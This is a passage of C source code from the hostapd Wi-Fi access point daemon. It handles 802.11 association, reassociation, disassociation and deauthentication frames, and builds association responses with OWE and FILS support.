&reply, send_len, 0) < 0) wpa_printf(MSG_INFO, "Failed to send deauth: %s", strerror(errno)); } static int add_associated_sta(struct hostapd_data *hapd, struct sta_info *sta) { struct ieee80211_ht_capabilities ht_cap; struct ieee80211_vht_capabilities vht_cap; int set = 1; /* * Remove the STA entry to ensure the STA PS state gets cleared and * configuration gets updated. This is relevant for cases, such as * FT-over-the-DS, where a station re-associates back to the same AP but * skips the authentication flow, or if working with a driver that * does not support full AP client state. * * Skip this if the STA has already completed FT reassociation and the * TK has been configured since the TX/RX PN must not be reset to 0 for * the same key. */ if (!sta->added_unassoc && (!(sta->flags & WLAN_STA_AUTHORIZED) || (!wpa_auth_sta_ft_tk_already_set(sta->wpa_sm) && !wpa_auth_sta_fils_tk_already_set(sta->wpa_sm)))) { hostapd_drv_sta_remove(hapd, sta->addr); wpa_auth_sm_event(sta->wpa_sm, WPA_DRV_STA_REMOVED); set = 0; } #ifdef CONFIG_IEEE80211N if (sta->flags & WLAN_STA_HT) hostapd_get_ht_capab(hapd, sta->ht_capabilities, &ht_cap); #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_IEEE80211AC if (sta->flags & WLAN_STA_VHT) hostapd_get_vht_capab(hapd, sta->vht_capabilities, &vht_cap); #endif /* CONFIG_IEEE80211AC */ /* * Add the station with forced WLAN_STA_ASSOC flag. The sta->flags * will be set when the ACK frame for the (Re)Association Response frame * is processed (TX status driver event). */ if (hostapd_sta_add(hapd, sta->addr, sta->aid, sta->capability, sta->supported_rates, sta->supported_rates_len, sta->listen_interval, sta->flags & WLAN_STA_HT ? &ht_cap : NULL, sta->flags & WLAN_STA_VHT ? &vht_cap : NULL, sta->flags | WLAN_STA_ASSOC, sta->qosinfo, sta->vht_opmode, sta->p2p_ie ? 1 : 0, set)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_NOTICE, "Could not %s STA to kernel driver", set ? "set" : "add"); if (sta->added_unassoc) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } return -1; } sta->added_unassoc = 0; return 0; } static u16 send_assoc_resp(struct hostapd_data *hapd, struct sta_info *sta, const u8 *addr, u16 status_code, int reassoc, const u8 *ies, size_t ies_len) { int send_len; u8 *buf; size_t buflen; struct ieee80211_mgmt *reply; u8 *p; u16 res = WLAN_STATUS_SUCCESS; buflen = sizeof(struct ieee80211_mgmt) + 1024; #ifdef CONFIG_FILS if (sta && sta->fils_hlp_resp) buflen += wpabuf_len(sta->fils_hlp_resp); #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE if (sta && (hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE)) buflen += 150; #endif /* CONFIG_OWE */ buf = os_zalloc(buflen); if (!buf) { res = WLAN_STATUS_UNSPECIFIED_FAILURE; goto done; } reply = (struct ieee80211_mgmt *) buf; reply->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, (reassoc ? WLAN_FC_STYPE_REASSOC_RESP : WLAN_FC_STYPE_ASSOC_RESP)); os_memcpy(reply->da, addr, ETH_ALEN); os_memcpy(reply->sa, hapd->own_addr, ETH_ALEN); os_memcpy(reply->bssid, hapd->own_addr, ETH_ALEN); send_len = IEEE80211_HDRLEN; send_len += sizeof(reply->u.assoc_resp); reply->u.assoc_resp.capab_info = host_to_le16(hostapd_own_capab_info(hapd)); reply->u.assoc_resp.status_code = host_to_le16(status_code); reply->u.assoc_resp.aid = host_to_le16((sta ? sta->aid : 0) | BIT(14) | BIT(15)); /* Supported rates */ p = hostapd_eid_supp_rates(hapd, reply->u.assoc_resp.variable); /* Extended supported rates */ p = hostapd_eid_ext_supp_rates(hapd, p); #ifdef CONFIG_IEEE80211R_AP if (sta && status_code == WLAN_STATUS_SUCCESS) { /* IEEE 802.11r: Mobility Domain Information, Fast BSS * Transition Information, RSN, [RIC Response] */ p = wpa_sm_write_assoc_resp_ies(sta->wpa_sm, p, buf + buflen - p, sta->auth_alg, ies, ies_len); if (!p) { wpa_printf(MSG_DEBUG, "FT: Failed to write AssocResp IEs"); res = WLAN_STATUS_UNSPECIFIED_FAILURE; goto done; } } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_OWE if (sta && (hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE)) p = wpa_auth_write_assoc_resp_owe(sta->wpa_sm, p, buf + buflen - p, ies, ies_len); #endif /* CONFIG_OWE */ #ifdef CONFIG_IEEE80211W if (sta && status_code == WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY) p = hostapd_eid_assoc_comeback_time(hapd, sta, p); #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211N p = hostapd_eid_ht_capabilities(hapd, p); p = hostapd_eid_ht_operation(hapd, p); #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_IEEE80211AC if (hapd->iconf->ieee80211ac && !hapd->conf->disable_11ac) { u32 nsts = 0, sta_nsts; if (sta && hapd->conf->use_sta_nsts && sta->vht_capabilities) { struct ieee80211_vht_capabilities *capa; nsts = (hapd->iface->conf->vht_capab >> VHT_CAP_BEAMFORMEE_STS_OFFSET) & 7; capa = sta->vht_capabilities; sta_nsts = (le_to_host32(capa->vht_capabilities_info) >> VHT_CAP_BEAMFORMEE_STS_OFFSET) & 7; if (nsts < sta_nsts) nsts = 0; else nsts = sta_nsts; } p = hostapd_eid_vht_capabilities(hapd, p, nsts); p = hostapd_eid_vht_operation(hapd, p); } #endif /* CONFIG_IEEE80211AC */ p = hostapd_eid_ext_capab(hapd, p); p = hostapd_eid_bss_max_idle_period(hapd, p); if (sta && sta->qos_map_enabled) p = hostapd_eid_qos_map_set(hapd, p); #ifdef CONFIG_FST if (hapd->iface->fst_ies) { os_memcpy(p, wpabuf_head(hapd->iface->fst_ies), wpabuf_len(hapd->iface->fst_ies)); p += wpabuf_len(hapd->iface->fst_ies); } #endif /* CONFIG_FST */ #ifdef CONFIG_IEEE80211AC if (sta && hapd->conf->vendor_vht && (sta->flags & WLAN_STA_VENDOR_VHT)) p = hostapd_eid_vendor_vht(hapd, p); #endif /* CONFIG_IEEE80211AC */ if (sta && (sta->flags & WLAN_STA_WMM)) p = hostapd_eid_wmm(hapd, p); #ifdef CONFIG_WPS if (sta && ((sta->flags & WLAN_STA_WPS) || ((sta->flags & WLAN_STA_MAYBE_WPS) && hapd->conf->wpa))) { struct wpabuf *wps = wps_build_assoc_resp_ie(); if (wps) { os_memcpy(p, wpabuf_head(wps), wpabuf_len(wps)); p += wpabuf_len(wps); wpabuf_free(wps); } } #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if (sta && sta->p2p_ie && hapd->p2p_group) { struct wpabuf *p2p_resp_ie; enum p2p_status_code status; switch (status_code) { case WLAN_STATUS_SUCCESS: status = P2P_SC_SUCCESS; break; case WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA: status = P2P_SC_FAIL_LIMIT_REACHED; break; default: status = P2P_SC_FAIL_INVALID_PARAMS; break; } p2p_resp_ie = p2p_group_assoc_resp_ie(hapd->p2p_group, status); if (p2p_resp_ie) { os_memcpy(p, wpabuf_head(p2p_resp_ie), wpabuf_len(p2p_resp_ie)); p += wpabuf_len(p2p_resp_ie); wpabuf_free(p2p_resp_ie); } } #endif /* CONFIG_P2P */ #ifdef CONFIG_P2P_MANAGER if (hapd->conf->p2p & P2P_MANAGE) p = hostapd_eid_p2p_manage(hapd, p); #endif /* CONFIG_P2P_MANAGER */ p = hostapd_eid_mbo(hapd, p, buf + buflen - p); if (hapd->conf->assocresp_elements && (size_t) (buf + buflen - p) >= wpabuf_len(hapd->conf->assocresp_elements)) { os_memcpy(p, wpabuf_head(hapd->conf->assocresp_elements), wpabuf_len(hapd->conf->assocresp_elements)); p += wpabuf_len(hapd->conf->assocresp_elements); } send_len += p - reply->u.assoc_resp.variable; #ifdef CONFIG_FILS if (sta && (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) && status_code == WLAN_STATUS_SUCCESS) { struct ieee802_11_elems elems; if (ieee802_11_parse_elems(ies, ies_len, &elems, 0) == ParseFailed || !elems.fils_session) { res = WLAN_STATUS_UNSPECIFIED_FAILURE; goto done; } /* FILS Session */ *p++ = WLAN_EID_EXTENSION; /* Element ID */ *p++ = 1 + FILS_SESSION_LEN; /* Length */ *p++ = WLAN_EID_EXT_FILS_SESSION; /* Element ID Extension */ os_memcpy(p, elems.fils_session, FILS_SESSION_LEN); send_len += 2 + 1 + FILS_SESSION_LEN; send_len = fils_encrypt_assoc(sta->wpa_sm, buf, send_len, buflen, sta->fils_hlp_resp); if (send_len < 0) { res = WLAN_STATUS_UNSPECIFIED_FAILURE; goto done; } } #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE if ((hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) && sta && sta->owe_ecdh && wpa_auth_sta_key_mgmt(sta->wpa_sm) == WPA_KEY_MGMT_OWE) { struct wpabuf *pub; pub = crypto_ecdh_get_pubkey(sta->owe_ecdh, 0); if (!pub) { res = WLAN_STATUS_UNSPECIFIED_FAILURE; goto done; } /* OWE Diffie-Hellman Parameter element */ *p++ = WLAN_EID_EXTENSION; /* Element ID */ *p++ = 1 + 2 + wpabuf_len(pub); /* Length */ *p++ = WLAN_EID_EXT_OWE_DH_PARAM; /* Element ID Extension */ WPA_PUT_LE16(p, sta->owe_group); p += 2; os_memcpy(p, wpabuf_head(pub), wpabuf_len(pub)); p += wpabuf_len(pub); send_len += 3 + 2 + wpabuf_len(pub); wpabuf_free(pub); } #endif /* CONFIG_OWE */ if (hostapd_drv_send_mlme(hapd, reply, send_len, 0) < 0) { wpa_printf(MSG_INFO, "Failed to send assoc resp: %s", strerror(errno)); res = WLAN_STATUS_UNSPECIFIED_FAILURE; } done: os_free(buf); return res; } #ifdef CONFIG_OWE u8 * owe_assoc_req_process(struct hostapd_data *hapd, struct sta_info *sta, const u8 *owe_dh, u8 owe_dh_len, u8 *owe_buf, size_t owe_buf_len, u16 *reason) { #ifdef CONFIG_TESTING_OPTIONS if (hapd->conf->own_ie_override) { wpa_printf(MSG_DEBUG, "OWE: Using IE override"); *reason = WLAN_STATUS_SUCCESS; return wpa_auth_write_assoc_resp_owe(sta->wpa_sm, owe_buf, owe_buf_len, NULL, 0); } #endif /* CONFIG_TESTING_OPTIONS */ if (wpa_auth_sta_get_pmksa(sta->wpa_sm)) { wpa_printf(MSG_DEBUG, "OWE: Using PMKSA caching"); owe_buf = wpa_auth_write_assoc_resp_owe(sta->wpa_sm, owe_buf, owe_buf_len, NULL, 0); *reason = WLAN_STATUS_SUCCESS; return owe_buf; } *reason = owe_process_assoc_req(hapd, sta, owe_dh, owe_dh_len); if (*reason != WLAN_STATUS_SUCCESS) return NULL; owe_buf = wpa_auth_write_assoc_resp_owe(sta->wpa_sm, owe_buf, owe_buf_len, NULL, 0); if (sta->owe_ecdh && owe_buf) { struct wpabuf *pub; pub = crypto_ecdh_get_pubkey(sta->owe_ecdh, 0); if (!pub) { *reason = WLAN_STATUS_UNSPECIFIED_FAILURE; return owe_buf; } /* OWE Diffie-Hellman Parameter element */ *owe_buf++ = WLAN_EID_EXTENSION; /* Element ID */ *owe_buf++ = 1 + 2 + wpabuf_len(pub); /* Length */ *owe_buf++ = WLAN_EID_EXT_OWE_DH_PARAM; /* Element ID Extension */ WPA_PUT_LE16(owe_buf, sta->owe_group); owe_buf += 2; os_memcpy(owe_buf, wpabuf_head(pub), wpabuf_len(pub)); owe_buf += wpabuf_len(pub); wpabuf_free(pub); } return owe_buf; } #endif /* CONFIG_OWE */ #ifdef CONFIG_FILS void fils_hlp_finish_assoc(struct hostapd_data *hapd, struct sta_info *sta) { u16 reply_res; wpa_printf(MSG_DEBUG, "FILS: Finish association with " MACSTR, MAC2STR(sta->addr)); eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); if (!sta->fils_pending_assoc_req) return; reply_res = send_assoc_resp(hapd, sta, sta->addr, WLAN_STATUS_SUCCESS, sta->fils_pending_assoc_is_reassoc, sta->fils_pending_assoc_req, sta->fils_pending_assoc_req_len); os_free(sta->fils_pending_assoc_req); sta->fils_pending_assoc_req = NULL; sta->fils_pending_assoc_req_len = 0; wpabuf_free(sta->fils_hlp_resp); sta->fils_hlp_resp = NULL; wpabuf_free(sta->hlp_dhcp_discover); sta->hlp_dhcp_discover = NULL; /* * Remove the station in case transmission of a success response fails. * At this point the station was already added associated to the driver. */ if (reply_res != WLAN_STATUS_SUCCESS) hostapd_drv_sta_remove(hapd, sta->addr); } void fils_hlp_timeout(void *eloop_ctx, void *eloop_data) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = eloop_data; wpa_printf(MSG_DEBUG, "FILS: HLP response timeout - continue with association response for " MACSTR, MAC2STR(sta->addr)); if (sta->fils_drv_assoc_finish) hostapd_notify_assoc_fils_finish(hapd, sta); else fils_hlp_finish_assoc(hapd, sta); } #endif /* CONFIG_FILS */ static void handle_assoc(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int reassoc) { u16 capab_info, listen_interval, seq_ctrl, fc; u16 resp = WLAN_STATUS_SUCCESS, reply_res; const u8 *pos; int left, i; struct sta_info *sta; u8 *tmp = NULL; struct hostapd_sta_wpa_psk_short *psk = NULL; char *identity = NULL; char *radius_cui = NULL; #ifdef CONFIG_FILS int delay_assoc = 0; #endif /* CONFIG_FILS */ if (len < IEEE80211_HDRLEN + (reassoc ? sizeof(mgmt->u.reassoc_req) : sizeof(mgmt->u.assoc_req))) { wpa_printf(MSG_INFO, "handle_assoc(reassoc=%d) - too short payload (len=%lu)", reassoc, (unsigned long) len); return; } #ifdef CONFIG_TESTING_OPTIONS if (reassoc) { if (hapd->iconf->ignore_reassoc_probability > 0.0 && drand48() < hapd->iconf->ignore_reassoc_probability) { wpa_printf(MSG_INFO, "TESTING: ignoring reassoc request from " MACSTR, MAC2STR(mgmt->sa)); return; } } else { if (hapd->iconf->ignore_assoc_probability > 0.0 && drand48() < hapd->iconf->ignore_assoc_probability) { wpa_printf(MSG_INFO, "TESTING: ignoring assoc request from " MACSTR, MAC2STR(mgmt->sa)); return; } } #endif /* CONFIG_TESTING_OPTIONS */ fc = le_to_host16(mgmt->frame_control); seq_ctrl = le_to_host16(mgmt->seq_ctrl); if (reassoc) { capab_info = le_to_host16(mgmt->u.reassoc_req.capab_info); listen_interval = le_to_host16( mgmt->u.reassoc_req.listen_interval); wpa_printf(MSG_DEBUG, "reassociation request: STA=" MACSTR " capab_info=0x%02x listen_interval=%d current_ap=" MACSTR " seq_ctrl=0x%x%s", MAC2STR(mgmt->sa), capab_info, listen_interval, MAC2STR(mgmt->u.reassoc_req.current_ap), seq_ctrl, (fc & WLAN_FC_RETRY) ? " retry" : ""); left = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.reassoc_req)); pos = mgmt->u.reassoc_req.variable; } else { capab_info = le_to_host16(mgmt->u.assoc_req.capab_info); listen_interval = le_to_host16( mgmt->u.assoc_req.listen_interval); wpa_printf(MSG_DEBUG, "association request: STA=" MACSTR " capab_info=0x%02x listen_interval=%d " "seq_ctrl=0x%x%s", MAC2STR(mgmt->sa), capab_info, listen_interval, seq_ctrl, (fc & WLAN_FC_RETRY) ? " retry" : ""); left = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.assoc_req)); pos = mgmt->u.assoc_req.variable; } sta = ap_get_sta(hapd, mgmt->sa); #ifdef CONFIG_IEEE80211R_AP if (sta && sta->auth_alg == WLAN_AUTH_FT && (sta->flags & WLAN_STA_AUTH) == 0) { wpa_printf(MSG_DEBUG, "FT: Allow STA " MACSTR " to associate " "prior to authentication since it is using " "over-the-DS FT", MAC2STR(mgmt->sa)); /* * Mark station as authenticated, to avoid adding station * entry in the driver as associated and not authenticated */ sta->flags |= WLAN_STA_AUTH; } else #endif /* CONFIG_IEEE80211R_AP */ if (sta == NULL || (sta->flags & WLAN_STA_AUTH) == 0) { if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) { int acl_res; u32 session_timeout, acct_interim_interval; struct vlan_description vlan_id; acl_res = ieee802_11_allowed_address( hapd, mgmt->sa, (const u8 *) mgmt, len, &session_timeout, &acct_interim_interval, &vlan_id, &psk, &identity, &radius_cui, 0); if (acl_res == HOSTAPD_ACL_REJECT) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Ignore Association Request frame from " MACSTR " due to ACL reject", MAC2STR(mgmt->sa)); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (acl_res == HOSTAPD_ACL_PENDING) return; /* DMG/IEEE 802.11ad does not use authentication. * Allocate sta entry upon association. */ sta = ap_sta_add(hapd, mgmt->sa); if (!sta) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Failed to add STA"); resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } acl_res = ieee802_11_set_radius_info( hapd, sta, acl_res, session_timeout, acct_interim_interval, &vlan_id, &psk, &identity, &radius_cui); if (acl_res) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Skip authentication for DMG/IEEE 802.11ad"); sta->flags |= WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); sta->auth_alg = WLAN_AUTH_OPEN; } else { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station tried to associate before authentication (aid=%d flags=0x%x)", sta ? sta->aid : -1, sta ? sta->flags : 0); send_deauth(hapd, mgmt->sa, WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA); return; } } if ((fc & WLAN_FC_RETRY) && sta->last_seq_ctrl != WLAN_INVALID_MGMT_SEQ && sta->last_seq_ctrl == seq_ctrl && sta->last_subtype == (reassoc ? WLAN_FC_STYPE_REASSOC_REQ : WLAN_FC_STYPE_ASSOC_REQ)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Drop repeated association frame seq_ctrl=0x%x", seq_ctrl); return; } sta->last_seq_ctrl = seq_ctrl; sta->last_subtype = reassoc ? WLAN_FC_STYPE_REASSOC_REQ : WLAN_FC_STYPE_ASSOC_REQ; if (hapd->tkip_countermeasures) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (listen_interval > hapd->conf->max_listen_interval) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Too large Listen Interval (%d)", listen_interval); resp = WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE; goto fail; } #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled && hapd->mbo_assoc_disallow) { resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } #endif /* CONFIG_MBO */ /* * sta->capability is used in check_assoc_ies() for RRM enabled * capability element. */ sta->capability = capab_info; #ifdef CONFIG_FILS if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) { int res; /* The end of the payload is encrypted. Need to decrypt it * before parsing. */ tmp = os_memdup(pos, left); if (!tmp) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } res = fils_decrypt_assoc(sta->wpa_sm, sta->fils_session, mgmt, len, tmp, left); if (res < 0) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } pos = tmp; left = res; } #endif /* CONFIG_FILS */ /* followed by SSID and Supported rates; and HT capabilities if 802.11n * is used */ resp = check_assoc_ies(hapd, sta, pos, left, reassoc); if (resp != WLAN_STATUS_SUCCESS) goto fail; if (hostapd_get_aid(hapd, sta) < 0) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "No room for more AIDs"); resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } sta->listen_interval = listen_interval; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) sta->flags |= WLAN_STA_NONERP; for (i = 0; i < sta->supported_rates_len; i++) { if ((sta->supported_rates[i] & 0x7f) > 22) { sta->flags &= ~WLAN_STA_NONERP; break; } } if (sta->flags & WLAN_STA_NONERP && !sta->nonerp_set) { sta->nonerp_set = 1; hapd->iface->num_sta_non_erp++; if (hapd->iface->num_sta_non_erp == 1) ieee802_11_set_beacons(hapd->iface); } if (!(sta->capability & WLAN_CAPABILITY_SHORT_SLOT_TIME) && !sta->no_short_slot_time_set) { sta->no_short_slot_time_set = 1; hapd->iface->num_sta_no_short_slot_time++; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->iface->num_sta_no_short_slot_time == 1) ieee802_11_set_beacons(hapd->iface); } if (sta->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) sta->flags |= WLAN_STA_SHORT_PREAMBLE; else sta->flags &= ~WLAN_STA_SHORT_PREAMBLE; if (!(sta->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) && !sta->no_short_preamble_set) { sta->no_short_preamble_set = 1; hapd->iface->num_sta_no_short_preamble++; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->iface->num_sta_no_short_preamble == 1) ieee802_11_set_beacons(hapd->iface); } #ifdef CONFIG_IEEE80211N update_ht_state(hapd, sta); #endif /* CONFIG_IEEE80211N */ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "association OK (aid %d)", sta->aid); /* Station will be marked associated, after it acknowledges AssocResp */ sta->flags |= WLAN_STA_ASSOC_REQ_OK; #ifdef CONFIG_IEEE80211W if ((sta->flags & WLAN_STA_MFP) && sta->sa_query_timed_out) { wpa_printf(MSG_DEBUG, "Allowing %sassociation after timed out " "SA Query procedure", reassoc ? "re" : ""); /* TODO: Send a protected Disassociate frame to the STA using * the old key and Reason Code "Previous Authentication no * longer valid". Make sure this is only sent protected since * unprotected frame would be received by the STA that is now * trying to associate. */ } #endif /* CONFIG_IEEE80211W */ /* Make sure that the previously registered inactivity timer will not * remove the STA immediately. */ sta->timeout_next = STA_NULLFUNC; #ifdef CONFIG_TAXONOMY taxonomy_sta_info_assoc_req(hapd, sta, pos, left); #endif /* CONFIG_TAXONOMY */ sta->pending_wds_enable = 0; #ifdef CONFIG_FILS if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) { if (fils_process_hlp(hapd, sta, pos, left) > 0) delay_assoc = 1; } #endif /* CONFIG_FILS */ fail: os_free(identity); os_free(radius_cui); hostapd_free_psk_list(psk); /* * In case of a successful response, add the station to the driver. * Otherwise, the kernel may ignore Data frames before we process the * ACK frame (TX status). In case of a failure, this station will be * removed. * * Note that this is not compliant with the IEEE 802.11 standard that * states that a non-AP station should transition into the * authenticated/associated state only after the station acknowledges * the (Re)Association Response frame. However, still do this as: * * 1. In case the station does not acknowledge the (Re)Association * Response frame, it will be removed. * 2. Data frames will be dropped in the kernel until the station is * set into authorized state, and there are no significant known * issues with processing other non-Data Class 3 frames during this * window. */ if (resp == WLAN_STATUS_SUCCESS && sta && add_associated_sta(hapd, sta)) resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; #ifdef CONFIG_FILS if (sta) { eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); os_free(sta->fils_pending_assoc_req); sta->fils_pending_assoc_req = NULL; sta->fils_pending_assoc_req_len = 0; wpabuf_free(sta->fils_hlp_resp); sta->fils_hlp_resp = NULL; } if (sta && delay_assoc && resp == WLAN_STATUS_SUCCESS) { sta->fils_pending_assoc_req = tmp; sta->fils_pending_assoc_req_len = left; sta->fils_pending_assoc_is_reassoc = reassoc; sta->fils_drv_assoc_finish = 0; wpa_printf(MSG_DEBUG, "FILS: Waiting for HLP processing before sending (Re)Association Response frame to " MACSTR, MAC2STR(sta->addr)); eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); eloop_register_timeout(0, hapd->conf->fils_hlp_wait_time * 1024, fils_hlp_timeout, hapd, sta); return; } #endif /* CONFIG_FILS */ reply_res = send_assoc_resp(hapd, sta, mgmt->sa, resp, reassoc, pos, left); os_free(tmp); /* * Remove the station in case tranmission of a success response fails * (the STA was added associated to the driver) or if the station was * previously added unassociated. */ if (sta && ((reply_res != WLAN_STATUS_SUCCESS && resp == WLAN_STATUS_SUCCESS) || sta->added_unassoc)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } } static void handle_disassoc(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { struct sta_info *sta; if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.disassoc)) { wpa_printf(MSG_INFO, "handle_disassoc - too short payload (len=%lu)", (unsigned long) len); return; } wpa_printf(MSG_DEBUG, "disassocation: STA=" MACSTR " reason_code=%d", MAC2STR(mgmt->sa), le_to_host16(mgmt->u.disassoc.reason_code)); sta = ap_get_sta(hapd, mgmt->sa); if (sta == NULL) { wpa_printf(MSG_INFO, "Station " MACSTR " trying to disassociate, but it is not associated", MAC2STR(mgmt->sa)); return; } ap_sta_set_authorized(hapd, sta, 0); sta->last_seq_ctrl = WLAN_INVALID_MGMT_SEQ; sta->flags &= ~(WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); wpa_auth_sm_event(sta->wpa_sm, WPA_DISASSOC); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "disassociated"); sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); /* Stop Accounting and IEEE 802.1X sessions, but leave the STA * authenticated. */ accounting_sta_stop(hapd, sta); ieee802_1x_free_station(hapd, sta); if (sta->ipaddr) hostapd_drv_br_delete_ip_neigh(hapd, 4, (u8 *) &sta->ipaddr); ap_sta_ip6addr_del(hapd, sta); hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; if (sta->timeout_next == STA_NULLFUNC || sta->timeout_next == STA_DISASSOC) { sta->timeout_next = STA_DEAUTH; eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(AP_DEAUTH_DELAY, 0, ap_handle_timer, hapd, sta); } mlme_disassociate_indication( hapd, sta, le_to_host16(mgmt->u.disassoc.reason_code)); /* DMG/IEEE 802.11ad does not use deauthication. Deallocate sta upon * disassociation. */ if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) { sta->flags &= ~WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_DEAUTH); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "deauthenticated"); ap_free_sta(hapd, sta); } } static void handle_deauth(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { struct sta_info *sta; if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.deauth)) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "handle_deauth - too short " "payload (len=%lu)", (unsigned long) len); return; } wpa_msg(hapd->msg_ctx, MSG_DEBUG, "deauthentication: STA=" MACSTR " reason_code=%d", MAC2STR(mgmt->sa), le_to_host16(mgmt->u.deauth.reason_code)); sta = ap_get_sta(hapd, mgmt->sa); if (sta == NULL) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " trying " "to deauthenticate, but it is not authenticated", MAC2STR(mgmt->sa)); return; } ap_sta_set_authorized(hapd, sta, 0); sta->last_seq_ctrl = WLAN_INVALID_MGMT_SEQ; sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); wpa_auth_sm_event(sta->wpa_sm, WPA_DEAUTH); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "deauthenticated"); mlme_deauthenticate_indication( hapd, sta, le_to_host16(mgmt->u.deauth.reason_code)); sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); ap_free_sta(hapd, sta); } static void handle_beacon(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, struct hostapd_frame_info *fi) { struct ieee802_11_elems elems; if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.beacon)) { wpa_printf(MSG_INFO, "handle_beacon - too short payload (len=%lu)", (unsigned long) len); return; } (void) ieee802_11_parse_elems(mgmt->u.beacon.variable, len - (IEEE80211_HDRLEN + sizeof(mgmt->u.beacon)), &elems, 0); ap_list_process_beacon(hapd->iface, mgmt, &elems, fi); } #ifdef CONFIG_IEEE80211W static int hostapd_sa_query_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { const u8 *end; end = mgmt->u.action.u.sa_query_resp.trans_id + WLAN_SA_QUERY_TR_ID_LEN; if (((u8 *) mgmt) + len < end) { wpa_printf(MSG_DEBUG, "IEEE 802.11: Too short SA Query 